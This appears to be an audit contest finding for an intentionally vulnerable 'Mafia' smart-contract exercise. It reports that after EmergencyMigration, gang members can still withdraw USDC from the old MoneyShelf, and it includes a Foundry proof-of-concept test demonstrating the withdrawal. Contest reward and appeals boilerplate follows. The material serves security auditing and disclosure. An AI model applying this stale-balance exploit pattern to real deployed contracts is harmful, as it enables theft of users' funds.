Submission Details
Severity:
After EmergencyMigration the GangMember still can withdraw usdc
Summary
After EmergencyMigration the GangMember still can withdraw usdc
Vulnerability Details
As the README said:
In case of any issue (on-chain or off-chain), MoneyShelf is updated to this contract to protect the money from the justice system or any other gang.
Only the GodFather can withdraw and no one can deposit in this contract.
but, after the migration, the old virtual balance of usdc and crimeMoney has not delete, the gangMember still can call withdrawMoney to withdraw their usdc.
Here is the poc:
function test_migrateAttack() public {
vm.prank(godFather);
usdc.transfer(address(this), 100e6);
usdc.approve(address(moneyShelf), 100e6);
laundrette.depositTheCrimeMoneyInATM(address(this), address(this), 100e6);
assertEq(usdc.balanceOf(address(this)), 0);
assertEq(usdc.balanceOf(address(moneyShelf)), 100e6);
assertEq(crimeMoney.balanceOf(address(this)), 100e6);
assertEq(address(kernel.getModuleForKeycode(Keycode.wrap("MONEY"))), address(moneyShelf));
EmergencyMigration migration = new EmergencyMigration();
MoneyVault moneyVault = migration.migrate(kernel, usdc, crimeMoney);
assertNotEq(address(moneyShelf), address(moneyVault));
assertEq(address(kernel.getModuleForKeycode(Keycode.wrap("MONEY"))), address(moneyVault));
console.log("MoneyVault: ", address(moneyVault));
joinGang(address(this));
laundrette.withdrawMoney(address(this), address(this), 100e6);
assertEq(usdc.balanceOf(address(this)), 100e6);
assertEq(usdc.balanceOf(address(moneyShelf)), 0);
assertEq(crimeMoney.balanceOf(address(this)), 0);
}
Impact
The mafia will lose their money even though the godfather called EmergencyMigration, they can not protect their money at all.
Tools Used
Manual review, Foundry.
Recommendations
Rewards breakdown
nSLOC
205This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.